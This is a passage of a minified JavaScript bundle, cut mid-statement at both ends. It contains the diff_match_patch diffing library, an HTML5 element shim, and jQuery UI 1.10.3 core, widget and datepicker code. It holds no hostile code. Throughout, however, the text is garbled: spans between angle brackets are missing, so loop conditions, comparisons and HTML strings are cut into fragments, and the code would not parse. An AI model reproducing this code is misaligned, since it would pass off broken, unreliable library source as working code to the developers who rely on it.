f=m.indexOf(d);if(f!=-1){j=[[DIFF_INSERT,m.substring(0,f)],[DIFF_EQUAL,d],[DIFF_INSERT,m.substring(f+d.length)]];if(c.length>b.length){j[0][0]=j[2][0]=DIFF_DELETE}return j}if(d.length==1){return[[DIFF_DELETE,c],[DIFF_INSERT,b]]}var a=this.diff_halfMatch_(c,b);if(a){var l=a[0];var h=a[1];var o=a[2];var n=a[3];var e=a[4];var k=this.diff_main(l,o,q,p);var g=this.diff_main(h,n,q,p);return k.concat([[DIFF_EQUAL,e]],g)}if(q&&c.length>100&&b.length>100){return this.diff_lineMode_(c,b,p)}return this.diff_bisect_(c,b,p)};diff_match_patch.prototype.diff_lineMode_=function(d,c,n){var k=this.diff_linesToChars_(d,c);d=k.chars1;c=k.chars2;var e=k.lineArray;var g=this.diff_main(d,c,false,n);this.diff_charsToLines_(g,e);this.diff_cleanupSemantic(g);g.push([DIFF_EQUAL,""]);var b=0;var m=0;var l=0;var i="";var h="";while(b=1&&l>=1){g.splice(b-m-l,m+l);b=b-m-l;var k=this.diff_main(i,h,false,n);for(var f=k.length-1;f>=0;f--){g.splice(b,0,k[f])}b=b+k.length}l=0;m=0;i="";h="";break}b++}g.pop();return g};diff_match_patch.prototype.diff_bisect_=function(n,l,A){var v=n.length;var g=l.length;var h=Math.ceil((v+g)/2);var r=h;var o=2*h;var e=new Array(o);var b=new Array(o);for(var m=0;mA){break}for(var k=-z+s;k<=z-p;k+=2){var q=r+k;var y;if(k==-z||(k!=z&&e[q-1]v){p+=2}else{if(f>g){s+=2}else{if(i){var a=r+B-k;if(a>=0&&a=w){return this.diff_bisectSplit_(n,l,y,f,A)}}}}}}for(var j=-z+u;j<=z-t;j+=2){var a=r+j;var w;if(j==-z||(j!=z&&b[a-1]v){t+=2}else{if(c>g){u+=2}else{if(!i){var q=r+B-j;if(q>=0&&q=w){return this.diff_bisectSplit_(n,l,y,f,A)}}}}}}}return[[DIFF_DELETE,n],[DIFF_INSERT,l]]};diff_match_patch.prototype.diff_bisectSplit_=function(d,c,i,h,k){var f=d.substring(0,i);var b=c.substring(0,h);var e=d.substring(i);var a=c.substring(h);var g=this.diff_main(f,b,false,k);var j=this.diff_main(e,a,false,k);return g.concat(j)};diff_match_patch.prototype.diff_linesToChars_=function(g,e){var d=[];var a={};d[0]="";function f(m){var k="";var i=0;var l=-1;var j=d.length;while(le){b=b.substring(g-e)}else{if(gb.length?c:b;var d=c.length>b.length?b:c;if(j.length<4||d.length*2=v.length){return[s,q,y,x,z]}else{return null}}var g=k(j,d,Math.ceil(j.length/4));var f=k(j,d,Math.ceil(j.length/2));var a;if(!g&&!f){return null}else{if(!f){a=g}else{if(!g){a=f}else{a=g[4].length>f[4].length?g:f}}}var i,h,m,l;if(c.length>b.length){i=a[0];h=a[1];m=a[2];l=a[3]}else{m=a[0];l=a[1];i=a[2];h=a[3]}var e=a[4];return[i,h,m,l,e]};diff_match_patch.prototype.diff_cleanupSemantic=function(m){var n=false;var l=[];var e=0;var f=null;var a=0;var k=0;var j=0;var i=0;var h=0;while(a0?l[e-1]:-1;k=0;j=0;i=0;h=0;f=null;n=true}}a++}if(n){this.diff_cleanupMerge(m)}this.diff_cleanupSemanticLossless(m);a=1;while(a=c){if(d>=g.length/2||d>=b.length/2){m.splice(a,0,[DIFF_EQUAL,b.substring(0,d)]);m[a-1][1]=g.substring(0,g.length-d);m[a+1][1]=b.substring(d);a++}}else{if(c>=g.length/2||c>=b.length/2){m.splice(a,0,[DIFF_EQUAL,g.substring(0,c)]);m[a-1][0]=DIFF_INSERT;m[a-1][1]=b.substring(0,b.length-c);m[a+1][0]=DIFF_DELETE;m[a+1][1]=g.substring(c);a++}}a++}a++}};diff_match_patch.prototype.diff_cleanupSemanticLossless=function(i){function c(r,y){if(!r||!y){return 6}var t=r.charAt(r.length-1);var s=y.charAt(0);var x=t.match(diff_match_patch.nonAlphaNumericRegex_);var w=s.match(diff_match_patch.nonAlphaNumericRegex_);var o=x&&t.match(diff_match_patch.whitespaceRegex_);var n=w&&s.match(diff_match_patch.whitespaceRegex_);var q=o&&t.match(diff_match_patch.linebreakRegex_);var p=n&&s.match(diff_match_patch.linebreakRegex_);var v=q&&r.match(diff_match_patch.blanklineEndRegex_);var u=p&&y.match(diff_match_patch.blanklineStartRegex_);if(v||u){return 5}else{if(q||p){return 4}else{if(x&&!o&&n){return 3}else{if(o||n){return 2}else{if(x||w){return 1}}}}}return 0}var a=1;while(a=e){e=d;g=m;h=l;f=k}}if(i[a-1][1]!=g){if(g){i[a-1][1]=g}else{i.splice(a-1,1);a--}i[a][1]=h;if(f){i[a+1][1]=f}else{i.splice(a+1,1);a--}}}a++}};diff_match_patch.nonAlphaNumericRegex_=/[^a-zA-Z0-9]/;diff_match_patch.whitespaceRegex_=/\s/;diff_match_patch.linebreakRegex_=/[\r\n]/;diff_match_patch.blanklineEndRegex_=/\n\r?\n$/;diff_match_patch.blanklineStartRegex_=/^\r?\n\r?\n/;diff_match_patch.prototype.diff_cleanupEfficiency=function(g){var i=false;var f=[];var c=0;var d=null;var a=0;var h=false;var j=false;var b=false;var e=false;while(a0?f[c-1]:-1;b=e=false}i=true}}a++}if(i){this.diff_cleanupMerge(g)}};diff_match_patch.prototype.diff_cleanupMerge=function(h){h.push([DIFF_EQUAL,""]);var g=0;var f=0;var e=0;var c="";var b="";var a;while(g1){if(f!==0&&e!==0){a=this.diff_commonPrefix(b,c);if(a!==0){if((g-f-e)>0&&h[g-f-e-1][0]==DIFF_EQUAL){h[g-f-e-1][1]+=b.substring(0,a)}else{h.splice(0,0,[DIFF_EQUAL,b.substring(0,a)]);g++}b=b.substring(a);c=c.substring(a)}a=this.diff_commonSuffix(b,c);if(a!==0){h[g][1]=b.substring(b.length-a)+h[g][1];b=b.substring(0,b.length-a);c=c.substring(0,c.length-a)}}if(f===0){h.splice(g-e,f+e,[DIFF_INSERT,b])}else{if(e===0){h.splice(g-f,f+e,[DIFF_DELETE,c])}else{h.splice(g-f-e,f+e,[DIFF_DELETE,c],[DIFF_INSERT,b])}}g=g-f-e+(f?1:0)+(e?1:0)+1}else{if(g!==0&&h[g-1][0]==DIFF_EQUAL){h[g-1][1]+=h[g][1];h.splice(g,1)}else{g++}}e=0;f=0;c="";b="";break}}if(h[h.length-1][1]===""){h.pop()}var d=false;g=1;while(gf){break}e=d;c=b}if(g.length!=a&&g[a][0]===DIFF_DELETE){return c}return c+(f-e)};diff_match_patch.prototype.diff_prettyHtml=function(f){var d=[];var h=/&/g;var c=//g;var g=/\n/g;for(var i=0;i");switch(e){case DIFF_INSERT:d[i]=''+j+"";break;case DIFF_DELETE:d[i]=''+j+"";break;case DIFF_EQUAL:d[i]=""+j+"";break}}return d.join("")};diff_match_patch.prototype.diff_text1=function(c){var b=[];for(var a=0;athis.Match_MaxBits){throw new Error("Pattern too long for this browser.")}var m=this.match_alphabet_(t);var a=this;function b(y,d){var s=y/t.length;var j=Math.abs(i-d);if(!a.Match_Distance){return j?1:s}return s+(j/a.Match_Distance)}var o=this.Match_Threshold;var c=l.indexOf(t,i);if(c!=-1){o=Math.min(b(0,c),o);c=l.lastIndexOf(t,i+t.length);if(c!=-1){o=Math.min(b(0,c),o)}}var v=1<<(t.length-1);c=-1;var f,k;var g=t.length+l.length;var h;for(var u=0;u=e;q--){var w=m[l.charAt(q-1)];if(u===0){p[q]=((p[q+1]<<1)|1)&w}else{p[q]=(((p[q+1]<<1)|1)&w)|(((h[q+1]|h[q])<<1)|1)|h[q+1]}if(p[q]&v){var r=b(u,q-1);if(r<=o){o=r;c=q-1;if(c>i){e=Math.max(1,2*i-c)}else{break}}}}if(b(u+1,i)>o){break}h=p}return c};diff_match_patch.prototype.match_alphabet_=function(c){var b={};for(var a=0;a2){this.diff_cleanupSemantic(k);this.diff_cleanupEfficiency(k)}}else{if(o&&typeof o=="object"&&typeof c=="undefined"&&typeof p=="undefined"){k=(o);d=this.diff_text1(k)}else{if(typeof o=="string"&&c&&typeof c=="object"&&typeof p=="undefined"){d=(o);k=(c)}else{if(typeof o=="string"&&typeof c=="string"&&p&&typeof p=="object"){d=(o);k=(p)}else{throw new Error("Unknown call format to patch_make.")}}}}if(k.length===0){return[]}var b=[];var e=new diff_match_patch.patch_obj();var h=0;var j=0;var i=0;var g=d;var m=d;for(var n=0;n=2*this.Patch_Margin){if(h){this.patch_addContext_(e,g);b.push(e);e=new diff_match_patch.patch_obj();h=0;g=m;j=i}}}break}if(f!==DIFF_INSERT){j+=l.length}if(f!==DIFF_DELETE){i+=l.length}}if(h){this.patch_addContext_(e,g);b.push(e)}return b};diff_match_patch.prototype.patch_deepCopy=function(c){var d=[];for(var b=0;bthis.Match_MaxBits){f=this.match_main(p,e.substring(0,this.Match_MaxBits),b);if(f!=-1){k=this.match_main(p,e.substring(e.length-this.Match_MaxBits),b+e.length-this.Match_MaxBits);if(k==-1||f>=k){f=-1}}}else{f=this.match_main(p,e,b)}if(f==-1){g[n]=false;o-=a[n].length2-a[n].length1}else{g[n]=true;o=f-b;var d;if(k==-1){d=p.substring(f,f+e.length)}else{d=p.substring(f,k+this.Match_MaxBits)}if(e==d){p=p.substring(0,f)+this.diff_text2(a[n].diffs)+p.substring(f+e.length)}else{var i=this.diff_main(e,d,false);if(e.length>this.Match_MaxBits&&this.diff_levenshtein(i)/e.length>this.Patch_DeleteThreshold){g[n]=false}else{this.diff_cleanupSemanticLossless(i);var j=0;var h;for(var m=0;mf[0][1].length){var e=c-f[0][1].length;f[0][1]=b.substring(f[0][1].length)+f[0][1];g.start1-=e;g.start2-=e;g.length1+=e;g.length2+=e}}g=d[d.length-1];f=g.diffs;if(f.length==0||f[f.length-1][0]!=DIFF_EQUAL){f.push([DIFF_EQUAL,b]);g.length1+=c;g.length2+=c}else{if(c>f[f.length-1][1].length){var e=c-f[f.length-1][1].length;f[f.length-1][1]+=b.substring(0,e);g.length1+=e;g.length2+=e}}return b};diff_match_patch.prototype.patch_splitMax=function(a){var i=this.Match_MaxBits;for(var l=0;l2*i){e.length1+=k.length;c+=k.length;j=false;e.diffs.push([h,k]);f.diffs.shift()}else{k=k.substring(0,i-e.length1-this.Patch_Margin);e.length1+=k.length;c+=k.length;if(h===DIFF_EQUAL){e.length2+=k.length;b+=k.length}else{j=false}e.diffs.push([h,k]);if(k==f.diffs[0][1]){f.diffs.shift()}else{f.diffs[0][1]=f.diffs[0][1].substring(k.length)}}}}g=this.diff_text2(e.diffs);g=g.substring(g.length-this.Patch_Margin);var d=this.diff_text1(f.diffs).substring(0,this.Patch_Margin);if(d!==""){e.length1+=d.length;e.length2+=d.length;if(e.diffs.length!==0&&e.diffs[e.diffs.length-1][0]===DIFF_EQUAL){e.diffs[e.diffs.length-1][1]+=d}else{e.diffs.push([DIFF_EQUAL,d])}}if(!j){a.splice(++l,0,e)}}}};diff_match_patch.prototype.patch_toText=function(b){var c=[];for(var a=0;a";q=("hidden" in t);e=t.childNodes.length==1||(function(){(m.createElement)("a");var v=m.createDocumentFragment();return(typeof v.cloneNode=="undefined"||typeof v.createDocumentFragment=="undefined"||typeof v.createElement=="undefined")}())}catch(u){q=true;e=true}}());function f(t,v){var w=t.createElement("p"),u=t.getElementsByTagName("head")[0]||t.documentElement;w.innerHTML="x";return u.insertBefore(w.lastChild,u.firstChild)}function l(){var t=j.elements;return typeof t=="string"?t.split(" "):t}function p(t){var u=o[t[i]];if(!u){u={};a++;t[i]=a;o[a]=u}return u}function n(w,t,v){if(!t){t=m}if(e){return t.createElement(w)}if(!v){v=p(t)}var u;if(v.cache[w]){u=v.cache[w].cloneNode()}else{if(c.test(w)){u=(v.cache[w]=v.createElem(w)).cloneNode()}else{u=v.createElem(w)}}return u.canHaveChildren&&!h.test(w)?v.frag.appendChild(u):u}function r(v,x){if(!v){v=m}if(e){return v.createDocumentFragment()}x=x||p(v);var y=x.frag.cloneNode(),w=0,u=l(),t=u.length;for(;w=0)&&d(i,!h)}});if(!b("").outerWidth(1).jquery){b.each(["Width","Height"],function(j,g){var h=g==="Width"?["Left","Right"]:["Top","Bottom"],k=g.toLowerCase(),m={innerWidth:b.fn.innerWidth,innerHeight:b.fn.innerHeight,outerWidth:b.fn.outerWidth,outerHeight:b.fn.outerHeight};function l(o,n,i,p){b.each(h,function(){n-=parseFloat(b.css(o,"padding"+this))||0;if(i){n-=parseFloat(b.css(o,"border"+this+"Width"))||0}if(p){n-=parseFloat(b.css(o,"margin"+this))||0}});return n}b.fn["inner"+g]=function(i){if(i===f){return m["inner"+g].call(this)}return this.each(function(){b(this).css(k,l(this,i)+"px")})};b.fn["outer"+g]=function(i,n){if(typeof i!=="number"){return m["outer"+g].call(this,i)}return this.each(function(){b(this).css(k,l(this,i,true,n)+"px")})}})}if(!b.fn.addBack){b.fn.addBack=function(g){return this.add(g==null?this.prevObject:this.prevObject.filter(g))}}if(b("").data("a-b","a").removeData("a-b").data("a-b")){b.fn.removeData=(function(g){return function(h){if(arguments.length){return g.call(this,b.camelCase(h))}else{return g.call(this)}}})(b.fn.removeData)}b.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase());b.support.selectstart="onselectstart" in document.createElement("div");b.fn.extend({disableSelection:function(){return this.bind((b.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection",function(g){g.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}});b.extend(b.ui,{plugin:{add:function(h,j,l){var g,k=b.ui[h].prototype;for(g in l){k.plugins[g]=k.plugins[g]||[];k.plugins[g].push([j,l[g]])}},call:function(g,j,h){var k,l=g.plugins[j];if(!l||!g.element[0].parentNode||g.element[0].parentNode.nodeType===11){return}for(k=0;k0){return true}j[g]=1;i=(j[g]>0);j[g]=0;return i}})})(jQuery);(function(b,e){var a=0,d=Array.prototype.slice,c=b.cleanData;b.cleanData=function(f){for(var g=0,h;(h=f[g])!=null;g++){try{b(h).triggerHandler("remove")}catch(j){}}c(f)};b.widget=function(f,g,n){var k,l,i,m,h={},j=f.split(".")[0];f=f.split(".")[1];k=j+"-"+f;if(!n){n=g;g=b.Widget}b.expr[":"][k.toLowerCase()]=function(o){return !!b.data(o,k)};b[j]=b[j]||{};l=b[j][f];i=b[j][f]=function(o,p){if(!this._createWidget){return new i(o,p)}if(arguments.length){this._createWidget(o,p)}};b.extend(i,l,{version:n.version,_proto:b.extend({},n),_childConstructors:[]});m=new g();m.options=b.widget.extend({},m.options);b.each(n,function(p,o){if(!b.isFunction(o)){h[p]=o;return}h[p]=(function(){var q=function(){return g.prototype[p].apply(this,arguments)},r=function(s){return g.prototype[p].apply(this,s)};return function(){var u=this._super,s=this._superApply,t;this._super=q;this._superApply=r;t=o.apply(this,arguments);this._super=u;this._superApply=s;return t}})()});i.prototype=b.widget.extend(m,{widgetEventPrefix:l?m.widgetEventPrefix:f},h,{constructor:i,namespace:j,widgetName:f,widgetFullName:k});if(l){b.each(l._childConstructors,function(p,q){var o=q.prototype;b.widget(o.namespace+"."+o.widgetName,i,q._proto)});delete l._childConstructors}else{g._childConstructors.push(i)}b.widget.bridge(f,i)};b.widget.extend=function(k){var g=d.call(arguments,1),j=0,f=g.length,h,i;for(;j",options:{disabled:false,create:null},_createWidget:function(f,g){g=b(g||this.defaultElement||this)[0];this.element=b(g);this.uuid=a++;this.eventNamespace="."+this.widgetName+this.uuid;this.options=b.widget.extend({},this.options,this._getCreateOptions(),f);this.bindings=b();this.hoverable=b();this.focusable=b();if(g!==this){b.data(g,this.widgetFullName,this);this._on(true,this.element,{remove:function(h){if(h.target===g){this.destroy()}}});this.document=b(g.style?g.ownerDocument:g.document||g);this.window=b(this.document[0].defaultView||this.document[0].parentWindow)}this._create();this._trigger("create",null,this._getCreateEventData());this._init()},_getCreateOptions:b.noop,_getCreateEventData:b.noop,_create:b.noop,_init:b.noop,destroy:function(){this._destroy();this.element.unbind(this.eventNamespace).removeData(this.widgetName).removeData(this.widgetFullName).removeData(b.camelCase(this.widgetFullName));this.widget().unbind(this.eventNamespace).removeAttr("aria-disabled").removeClass(this.widgetFullName+"-disabled ui-state-disabled");this.bindings.unbind(this.eventNamespace);this.hoverable.removeClass("ui-state-hover");this.focusable.removeClass("ui-state-focus")},_destroy:b.noop,widget:function(){return this.element},option:function(j,k){var f=j,l,h,g;if(arguments.length===0){return b.widget.extend({},this.options)}if(typeof j==="string"){f={};l=j.split(".");j=l.shift();if(l.length){h=f[j]=b.widget.extend({},this.options[j]);for(g=0;g=this.options.distance)},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return true}})})(jQuery);(function(e,g){e.extend(e.ui,{datepicker:{version:"1.10.3"}});var f="datepicker",c;function b(){this._curInst=null;this._keyEvent=false;this._disabledInputs=[];this._datepickerShowing=false;this._inDialog=false;this._mainDivId="ui-datepicker-div";this._inlineClass="ui-datepicker-inline";this._appendClass="ui-datepicker-append";this._triggerClass="ui-datepicker-trigger";this._dialogClass="ui-datepicker-dialog";this._disableClass="ui-datepicker-disabled";this._unselectableClass="ui-datepicker-unselectable";this._currentClass="ui-datepicker-current-day";this._dayOverClass="ui-datepicker-days-cell-over";this.regional=[];this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:false,showMonthAfterYear:false,yearSuffix:""};this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:false,hideIfNoPrevNext:false,navigationAsDateFormat:false,gotoCurrent:false,changeMonth:false,changeYear:false,yearRange:"c-10:c+10",showOtherMonths:false,selectOtherMonths:false,showWeek:false,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:true,showButtonPanel:false,autoSize:false,disabled:false};e.extend(this._defaults,this.regional[""]);this.dpDiv=d(e("
"))}e.extend(b.prototype,{markerClassName:"hasDatepicker",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(h){a(this._defaults,h||{});return this},_attachDatepicker:function(k,h){var l,j,i;l=k.nodeName.toLowerCase();j=(l==="div"||l==="span");if(!k.id){this.uuid+=1;k.id="dp"+this.uuid}i=this._newInst(e(k),j);i.settings=e.extend({},h||{});if(l==="input"){this._connectDatepicker(k,i)}else{if(j){this._inlineDatepicker(k,i)}}},_newInst:function(i,h){var j=i[0].id.replace(/([^A-Za-z0-9_\-])/g,"\\\\$1");return{id:j,input:i,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:h,dpDiv:(!h?this.dpDiv:d(e("
")))}},_connectDatepicker:function(j,i){var h=e(j);i.append=e([]);i.trigger=e([]);if(h.hasClass(this.markerClassName)){return}this._attachments(h,i);h.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).keyup(this._doKeyUp);this._autoSize(i);e.data(j,f,i);if(i.settings.disabled){this._disableDatepicker(j)}},_attachments:function(j,m){var i,l,h,n=this._get(m,"appendText"),k=this._get(m,"isRTL");if(m.append){m.append.remove()}if(n){m.append=e(""+n+"");j[k?"before":"after"](m.append)}j.unbind("focus",this._showDatepicker);if(m.trigger){m.trigger.remove()}i=this._get(m,"showOn");if(i==="focus"||i==="both"){j.focus(this._showDatepicker)}if(i==="button"||i==="both"){l=this._get(m,"buttonText");h=this._get(m,"buttonImage");m.trigger=e(this._get(m,"buttonImageOnly")?e("").addClass(this._triggerClass).attr({src:h,alt:l,title:l}):e("").addClass(this._triggerClass).html(!h?l:e("").attr({src:h,alt:l,title:l})));j[k?"before":"after"](m.trigger);m.trigger.click(function(){if(e.datepicker._datepickerShowing&&e.datepicker._lastInput===j[0]){e.datepicker._hideDatepicker()}else{if(e.datepicker._datepickerShowing&&e.datepicker._lastInput!==j[0]){e.datepicker._hideDatepicker();e.datepicker._showDatepicker(j[0])}else{e.datepicker._showDatepicker(j[0])}}return false})}},_autoSize:function(o){if(this._get(o,"autoSize")&&!o.inline){var l,j,k,n,m=new Date(2009,12-1,20),h=this._get(o,"dateFormat");if(h.match(/[DM]/)){l=function(i){j=0;k=0;for(n=0;nj){j=i[n].length;k=n}}return k};m.setMonth(l(this._get(o,(h.match(/MM/)?"monthNames":"monthNamesShort"))));m.setDate(l(this._get(o,(h.match(/DD/)?"dayNames":"dayNamesShort")))+20-m.getDay())}o.input.attr("size",this._formatDate(o,m).length)}},_inlineDatepicker:function(i,h){var j=e(i);if(j.hasClass(this.markerClassName)){return}j.addClass(this.markerClassName).append(h.dpDiv);e.data(i,f,h);this._setDate(h,this._getDefaultDate(h),true);this._updateDatepicker(h);this._updateAlternate(h);if(h.settings.disabled){this._disableDatepicker(i)}h.dpDiv.css("display","block")},_dialogDatepicker:function(o,i,m,j,n){var h,r,l,q,p,k=this._dialogInst;if(!k){this.uuid+=1;h="dp"+this.uuid;this._dialogInput=e("");this._dialogInput.keydown(this._doKeyDown);e("body").append(this._dialogInput);k=this._dialogInst=this._newInst(this._dialogInput,false);k.settings={};e.data(this._dialogInput[0],f,k)}a(k.settings,j||{});i=(i&&i.constructor===Date?this._formatDate(k,i):i);this._dialogInput.val(i);this._pos=(n?(n.length?n:[n.pageX,n.pageY]):null);if(!this._pos){r=document.documentElement.clientWidth;l=document.documentElement.clientHeight;q=document.documentElement.scrollLeft||document.body.scrollLeft;p=document.documentElement.scrollTop||document.body.scrollTop;this._pos=[(r/2)-100+q,(l/2)-150+p]}this._dialogInput.css("left",(this._pos[0]+20)+"px").css("top",this._pos[1]+"px");k.settings.onSelect=m;this._inDialog=true;this.dpDiv.addClass(this._dialogClass);this._showDatepicker(this._dialogInput[0]);if(e.blockUI){e.blockUI(this.dpDiv)}e.data(this._dialogInput[0],f,k);return this},_destroyDatepicker:function(j){var k,h=e(j),i=e.data(j,f);if(!h.hasClass(this.markerClassName)){return}k=j.nodeName.toLowerCase();e.removeData(j,f);if(k==="input"){i.append.remove();i.trigger.remove();h.removeClass(this.markerClassName).unbind("focus",this._showDatepicker).unbind("keydown",this._doKeyDown).unbind("keypress",this._doKeyPress).unbind("keyup",this._doKeyUp)}else{if(k==="div"||k==="span"){h.removeClass(this.markerClassName).empty()}}},_enableDatepicker:function(k){var l,j,h=e(k),i=e.data(k,f);if(!h.hasClass(this.markerClassName)){return}l=k.nodeName.toLowerCase();if(l==="input"){k.disabled=false;i.trigger.filter("button").each(function(){this.disabled=false}).end().filter("img").css({opacity:"1.0",cursor:""})}else{if(l==="div"||l==="span"){j=h.children("."+this._inlineClass);j.children().removeClass("ui-state-disabled");j.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",false)}}this._disabledInputs=e.map(this._disabledInputs,function(m){return(m===k?null:m)})},_disableDatepicker:function(k){var l,j,h=e(k),i=e.data(k,f);if(!h.hasClass(this.markerClassName)){return}l=k.nodeName.toLowerCase();if(l==="input"){k.disabled=true;i.trigger.filter("button").each(function(){this.disabled=true}).end().filter("img").css({opacity:"0.5",cursor:"default"})}else{if(l==="div"||l==="span"){j=h.children("."+this._inlineClass);j.children().addClass("ui-state-disabled");j.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",true)}}this._disabledInputs=e.map(this._disabledInputs,function(m){return(m===k?null:m)});this._disabledInputs[this._disabledInputs.length]=k},_isDisabledDatepicker:function(j){if(!j){return false}for(var h=0;h-1)}},_doKeyUp:function(j){var h,k=e.datepicker._getInst(j.target);if(k.input.val()!==k.lastVal){try{h=e.datepicker.parseDate(e.datepicker._get(k,"dateFormat"),(k.input?k.input.val():null),e.datepicker._getFormatConfig(k));if(h){e.datepicker._setDateFromField(k);e.datepicker._updateAlternate(k);e.datepicker._updateDatepicker(k)}}catch(i){}}return true},_showDatepicker:function(i){i=i.target||i;if(i.nodeName.toLowerCase()!=="input"){i=e("input",i.parentNode)[0]}if(e.datepicker._isDisabledDatepicker(i)||e.datepicker._lastInput===i){return}var k,o,j,m,n,h,l;k=e.datepicker._getInst(i);if(e.datepicker._curInst&&e.datepicker._curInst!==k){e.datepicker._curInst.dpDiv.stop(true,true);if(k&&e.datepicker._datepickerShowing){e.datepicker._hideDatepicker(e.datepicker._curInst.input[0])}}o=e.datepicker._get(k,"beforeShow");j=o?o.apply(i,[i,k]):{};if(j===false){return}a(k.settings,j);k.lastVal=null;e.datepicker._lastInput=i;e.datepicker._setDateFromField(k);if(e.datepicker._inDialog){i.value=""}if(!e.datepicker._pos){e.datepicker._pos=e.datepicker._findPos(i);e.datepicker._pos[1]+=i.offsetHeight}m=false;e(i).parents().each(function(){m|=e(this).css("position")==="fixed";return !m});n={left:e.datepicker._pos[0],top:e.datepicker._pos[1]};e.datepicker._pos=null;k.dpDiv.empty();k.dpDiv.css({position:"absolute",display:"block",top:"-1000px"});e.datepicker._updateDatepicker(k);n=e.datepicker._checkOffset(k,n,m);k.dpDiv.css({position:(e.datepicker._inDialog&&e.blockUI?"static":(m?"fixed":"absolute")),display:"none",left:n.left+"px",top:n.top+"px"});if(!k.inline){h=e.datepicker._get(k,"showAnim");l=e.datepicker._get(k,"duration");k.dpDiv.zIndex(e(i).zIndex()+1);e.datepicker._datepickerShowing=true;if(e.effects&&e.effects.effect[h]){k.dpDiv.show(h,e.datepicker._get(k,"showOptions"),l)}else{k.dpDiv[h||"show"](h?l:null)}if(e.datepicker._shouldFocusInput(k)){k.input.focus()}e.datepicker._curInst=k}},_updateDatepicker:function(j){this.maxRows=4;c=j;j.dpDiv.empty().append(this._generateHTML(j));this._attachHandlers(j);j.dpDiv.find("."+this._dayOverClass+" a").mouseover();var l,h=this._getNumberOfMonths(j),k=h[1],i=17;j.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width("");if(k>1){j.dpDiv.addClass("ui-datepicker-multi-"+k).css("width",(i*k)+"em")}j.dpDiv[(h[0]!==1||h[1]!==1?"add":"remove")+"Class"]("ui-datepicker-multi");j.dpDiv[(this._get(j,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl");if(j===e.datepicker._curInst&&e.datepicker._datepickerShowing&&e.datepicker._shouldFocusInput(j)){j.input.focus()}if(j.yearshtml){l=j.yearshtml;setTimeout(function(){if(l===j.yearshtml&&j.yearshtml){j.dpDiv.find("select.ui-datepicker-year:first").replaceWith(j.yearshtml)}l=j.yearshtml=null},0)}},_shouldFocusInput:function(h){return h.input&&h.input.is(":visible")&&!h.input.is(":disabled")&&!h.input.is(":focus")},_checkOffset:function(m,k,j){var l=m.dpDiv.outerWidth(),p=m.dpDiv.outerHeight(),o=m.input?m.input.outerWidth():0,h=m.input?m.input.outerHeight():0,n=document.documentElement.clientWidth+(j?0:e(document).scrollLeft()),i=document.documentElement.clientHeight+(j?0:e(document).scrollTop());k.left-=(this._get(m,"isRTL")?(l-o):0);k.left-=(j&&k.left===m.input.offset().left)?e(document).scrollLeft():0;k.top-=(j&&k.top===(m.input.offset().top+h))?e(document).scrollTop():0;k.left-=Math.min(k.left,(k.left+l>n&&n>l)?Math.abs(k.left+l-n):0);k.top-=Math.min(k.top,(k.top+p>i&&i>p)?Math.abs(p+h):0);return k},_findPos:function(k){var h,j=this._getInst(k),i=this._get(j,"isRTL");while(k&&(k.type==="hidden"||k.nodeType!==1||e.expr.filters.hidden(k))){k=k[i?"previousSibling":"nextSibling"]}h=e(k).offset();return[h.left,h.top]},_hideDatepicker:function(j){var i,m,l,h,k=this._curInst;if(!k||(j&&k!==e.data(j,f))){return}if(this._datepickerShowing){i=this._get(k,"showAnim");m=this._get(k,"duration");l=function(){e.datepicker._tidyDialog(k)};if(e.effects&&(e.effects.effect[i]||e.effects[i])){k.dpDiv.hide(i,e.datepicker._get(k,"showOptions"),m,l)}else{k.dpDiv[(i==="slideDown"?"slideUp":(i==="fadeIn"?"fadeOut":"hide"))]((i?m:null),l)}if(!i){l()}this._datepickerShowing=false;h=this._get(k,"onClose");if(h){h.apply((k.input?k.input[0]:null),[(k.input?k.input.val():""),k])}this._lastInput=null;if(this._inDialog){this._dialogInput.css({position:"absolute",left:"0",top:"-100px"});if(e.blockUI){e.unblockUI();e("body").append(this.dpDiv)}}this._inDialog=false}},_tidyDialog:function(h){h.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar")},_checkExternalClick:function(i){if(!e.datepicker._curInst){return}var h=e(i.target),j=e.datepicker._getInst(h[0]);if(((h[0].id!==e.datepicker._mainDivId&&h.parents("#"+e.datepicker._mainDivId).length===0&&!h.hasClass(e.datepicker.markerClassName)&&!h.closest("."+e.datepicker._triggerClass).length&&e.datepicker._datepickerShowing&&!(e.datepicker._inDialog&&e.blockUI)))||(h.hasClass(e.datepicker.markerClassName)&&e.datepicker._curInst!==j)){e.datepicker._hideDatepicker()}},_adjustDate:function(l,k,j){var i=e(l),h=this._getInst(i[0]);if(this._isDisabledDatepicker(i[0])){return}this._adjustInstDate(h,k+(j==="M"?this._get(h,"showCurrentAtPos"):0),j);this._updateDatepicker(h)},_gotoToday:function(k){var 